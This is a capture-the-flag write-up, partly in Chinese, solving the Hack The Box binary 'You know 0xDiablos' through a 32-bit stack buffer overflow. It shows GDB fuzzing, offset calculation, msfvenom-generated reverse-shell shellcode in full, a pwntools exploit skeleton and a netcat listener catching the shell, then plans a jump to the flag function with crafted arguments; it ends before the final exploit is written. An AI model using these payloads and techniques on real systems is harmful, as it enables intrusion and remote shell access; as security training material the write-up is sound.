HTB - You know 0xDiablos

Checksec

1
2
3
4
5
6
7
8
➜  You know 0xDiablos checksec vuln
[*] '/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

Fuzz

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
➜  You know 0xDiablos cyclic 500 > out
➜ You know 0xDiablos gdb-gef --ex run ./vuln < out
Reading symbols from ./vuln...
(No debugging symbols found in ./vuln)
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
Starting program: /mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/vuln
You know who are 0xDiablos:
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaae

Program received signal SIGSEGV, Segmentation fault.
0x62616177 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x1f5
$ebx : 0x62616175 ("uaab"?)
$ecx : 0xffffffff
$edx : 0xffffffff
$esp : 0xffffd370 → "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"
$ebp : 0x62616176 ("vaab"?)
$esi : 0xf7fb3000 → 0x001e9d6c
$edi : 0xf7fb3000 → 0x001e9d6c
$eip : 0x62616177 ("waab"?)
$eflags: [zero carry parity adjust SIGN trap INTERRUPT direction overflow RESUME virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd370│+0x0000: "xaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaacka[...]"$esp
0xffffd374│+0x0004: "yaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaacla[...]"
0xffffd378│+0x0008: "zaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacma[...]"
0xffffd37c│+0x000c: "baaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacna[...]"
0xffffd380│+0x0010: "caacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoa[...]"
0xffffd384│+0x0014: "daaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpa[...]"
0xffffd388│+0x0018: "eaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqa[...]"
0xffffd38c│+0x001c: "faacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacra[...]"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x62616177
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "vuln", stopped 0x62616177 in ?? (), reason: SIGSEGV
────────────────────────────────────────────────────────────────────────────────────────── trace ────
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ quit

Find offset

  • eip
1
➜  You know 0xDiablos cyclic -l 0x62616177188
  • esp
1
2
➜  You know 0xDiablos cyclic -l xaab
192

Payload

1
"A"*188+eip+payload

Generate Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
╰─➤ msfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4433 -f py -b "\x00\x20\x0A"
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 95 (iteration=0)
x86/shikata_ga_nai chosen with final size 95
Payload size: 95 bytes
Final size of py file: 479 bytes
buf = b""
buf += b"\xba\x41\x94\x42\x64\xdb\xd2\xd9\x74\x24\xf4\x5f\x2b"
buf += b"\xc9\xb1\x12\x83\xef\xfc\x31\x57\x0e\x03\x16\x9a\xa0"
buf += b"\x91\xa9\x79\xd3\xb9\x9a\x3e\x4f\x54\x1e\x48\x8e\x18"
buf += b"\x78\x87\xd1\xca\xdd\xa7\xed\x21\x5d\x8e\x68\x43\x35"
buf += b"\x6e\x8b\xb3\xc4\xf8\x89\xb3\xd7\xa9\x04\x52\x67\x2f"
buf += b"\x47\xc4\xd4\x03\x64\x6f\x3b\xae\xeb\x3d\xd3\x5f\xc3"
buf += b"\xb2\x4b\xc8\x34\x1a\xe9\x61\xc2\x87\xbf\x22\x5d\xa6"
buf += b"\x8f\xce\x90\xa9"

Find ESP Address

1
socat TCP4-LISTEN:10001,fork EXEC:./vuln
1
2
3
4
5
6
7
8
from pwn import *
p = remote('127.0.0.1',10001)

# hide

buffer=offset+eip+payload
p.recv()
p.sendline(buffer)
1
2
ulimit -c unlimited
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
1
2
3
4
5
6
7
8
9
10
11
12
13
➜  You know 0xDiablos gdb-gef vuln /tmp/core.1618245963
Reading symbols from vuln...
(No debugging symbols found in vuln)
[New LWP 19601]
Core was generated by `./vuln'.
Program terminated with signal SIGILL, Illegal instruction.
#0 0xffffd42e in ?? ()
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
Error while writing index for `/usr/lib/debug/lib/i386-linux-gnu/libc-2.31.so': mkstemp: 没有那个文件或目录.
gef➤ x/wx $esp
0xffffd360: 0x90909090
gef➤

ESP: 0xffffd360

1
\x60\xd3\xff\xff

Complite Exploit

1
2
3
4
5
6
7
8
9
from pwn import *

p = remote('127.0.0.1',10001)

# hide

buffer=offset+eip+payload
p.recv()
p.sendline(buffer)
1
socat TCP4-LISTEN:10001,fork EXEC:./vuln
1
2
➜  ~ nc -l 4433
w
1
python3 getshell.py
1
2
3
4
5
6
7
8
➜  ~ nc -l 4433
w
05:08:57 up 3 days, 22:41, 4 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
aresx :0 :0 Fri02 ?xdm? 25:33 0.01s /usr/lib/gdm3/gdm-x-session --run-script env GNOME_SHELL_SESSION_MODE=ubuntu /usr/bin/gnome-session --systemd --session=ubuntu
aresx pts/0 192.168.92.1 Fri05 19:20m 24.17s 0.00s w
aresx pts/1 192.168.92.1 Fri05 1.00s 12.66s 0.29s python3 getshell.py
aresx pts/2 192.168.92.1 Fri05 0.00s 4.90s 0.00s nc -l 4433

Done ?

Fuck no

由于启动方式的不同,远程服务器的esp地址还是和本地环境不一致

需要换种思路

Source Code

main

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
__gid_t v3; // ST1C_4

setvbuf(stdout, 0, 2, 0);
v3 = getegid();
setresgid(v3, v3, v3);
puts("You know who are 0xDiablos: ");
vuln();
return 0;
}

vuln

1
2
3
4
5
6
7
int vuln()
{
char s; // [esp+0h] [ebp-B8h]

gets(&s);
return puts(&s);
}

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
char *__cdecl flag(int a1, int a2)
{
char *result; // eax
char s; // [esp+Ch] [ebp-4Ch]
FILE *stream; // [esp+4Ch] [ebp-Ch]

stream = fopen("flag.txt", (const char *)&unk_804A008);
if ( !stream )
{
puts("Hurry up and try in on server side.");
exit(0);
}
result = fgets(&s, 64, stream);
if ( a1 == -559038737 && a2 == -1059139571 )
result = (char *)printf(&s);
return result;
}

看源码可以知道flag函数接收两个参数a1,a2,并且会进行判断

1
2
if ( a1 == -559038737 && a2 == -1059139571 )
result = (char *)printf(&s);

Final Exploit

1
2
3
188位的offset使程序发生溢出,后面8位覆盖eip指向flag函数地址,shellcode为call函数时压入栈中的参数

offset+eip+shellcode

IDA中可以确定flag函数的调用地址080491E2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
.text:080491E2                 push    ebp
.text:080491E3 mov ebp, esp
.text:080491E5 push ebx
.text:080491E6 sub esp, 54h
.text:080491E9 call __x86_get_pc_thunk_bx
.text:080491EE add ebx, 2E12h
.text:080491F4 sub esp, 8
.text:080491F7 lea eax, (unk_804A008 - 804C000h)[ebx]
.text:080491FD push eax ; modes
.text:080491FE lea eax, (aFlagTxt - 804C000h)[ebx] ; "flag.txt"
.text:08049204 push eax ; filename
.text:08049205 call _fopen
.text:0804920A add esp, 10h
.text:0804920D mov [ebp+stream], eax
.text:08049210 cmp [ebp+stream], 0
.text:08049214 jnz short loc_8049232
.text:08049216 sub esp, 0Ch
.text:08049219 lea eax, (aHurryUpAndTryI - 804C000h)[ebx] ; "Hurry up and try in on server side."
.text:0804921F push eax ; s
.text:08049220 call _puts
.text:08049225 add esp, 10h
.text:08049228 sub esp, 0Ch
.text:0804922B push 0 ; status
.text:0804922D call _exit

也可以使用readelf

1
2
➜  You know 0xDiablos readelf -a vuln | grep FUNC | grep flag
73: 080491e2 144 FUNC GLOBAL DEFAULT 13 flag

可以写一个类似的程序确定函数之间调用的细节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
int flag(int a,int b){
int x =3;
x = x-1;


if (a==-559038737 && b==-1059139571){
return a+b;
}

}

int main(){

flag(-559038737,-1059139571);
return 0;

}
1
gcc -m32 -z execstack -fno-stack-protector -no-pie -z norelro -D_FORTIFY_SOURCE=0 test.c -o test
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
➜  You know 0xDiablos gdb-gef test
Reading symbols from test...
(No debugging symbols found in test)
GEF for linux ready, type `gef' to start, `gef config' to configure
92 commands loaded for GDB 9.1 using Python engine 3.8
gef➤ b main
Breakpoint 1 at 0x80491b3
gef➤ x/20i main
0x80491b3
: endbr32
0x80491b7 : push ebp
0x80491b8 : mov ebp,esp
0x80491ba : call 0x80491dd <__x86.get_pc_thunk.ax>
0x80491bf : add eax,0x20dd
0x80491c4 : push 0xc0ded00d
0x80491c9 : push 0xdeadbeef
0x80491ce : call 0x8049176
0x80491d3 : add esp,0x8
0x80491d6 : mov eax,0x0
0x80491db : leave
0x80491dc : ret
0x80491dd <__x86.get_pc_thunk.ax>: mov eax,DWORD PTR [esp]
0x80491e0 <__x86.get_pc_thunk.ax+3>: ret

可以看到在调用flag函数之前将两个参数压入了栈中,然后执行call指令

si进入call flag 看看栈顶多了个什么东西???

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
gef➤  si
0x08049176 in flag ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────── registers ────
$eax : 0x0804b29c → 0x0804b1b0 → 0x00000001
$ebx : 0x0
$ecx : 0x2a848268
$edx : 0xffffd3c4 → 0x00000000
$esp : 0xffffd38c → 0x080491d3 → add esp, 0x8
$ebp : 0xffffd398 → 0x00000000
$esi : 0xf7fb3000 → 0x001e9d6c
$edi : 0xf7fb3000 → 0x001e9d6c
$eip : 0x08049176 → endbr32
$eflags: [zero carry PARITY ADJUST sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063
────────────────────────────────────────────────────────────────────────────────────────── stack ────
0xffffd38c│+0x0000: 0x080491d3 → add esp, 0x8 ← $esp
0xffffd390│+0x0004: 0xdeadbeef
0xffffd394│+0x0008: 0xc0ded00d
0xffffd398│+0x000c: 0x00000000 ← $ebp
0xffffd39c│+0x0010: 0xf7de7ee5 → <__libc_start_main+245> add esp, 0x10
0xffffd3a0│+0x0014: 0x00000001
0xffffd3a4│+0x0018: 0xffffd434 → 0xffffd5ae → "/mnt/hgfs/aresx/pwn/htb/You know 0xDiablos/test"
0xffffd3a8│+0x001c: 0xffffd43c → 0xffffd5de → "USER=aresx"
──────────────────────────────────────────────────────────────────────────────────── code:x86:32 ────
0x8049169 <__do_global_dtors_aux+41> lea esi, [esi+eiz*1+0x0]
0x8049170 endbr32
0x8049174 jmp 0x8049100
→ 0x8049176 endbr32
0x804917a push ebp
0x804917b mov ebp, esp
0x804917d sub esp, 0x10
0x8049180 call 0x80491dd <__x86.get_pc_thunk.ax>
0x8049185 add eax, 0x2117
──────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "test", stopped 0x8049176 in flag (), reason: SINGLE STEP
────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8049176 → flag()
[#1] 0x80491d3 → main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤

然后直接进行一个exp的编写

⬆︎TOP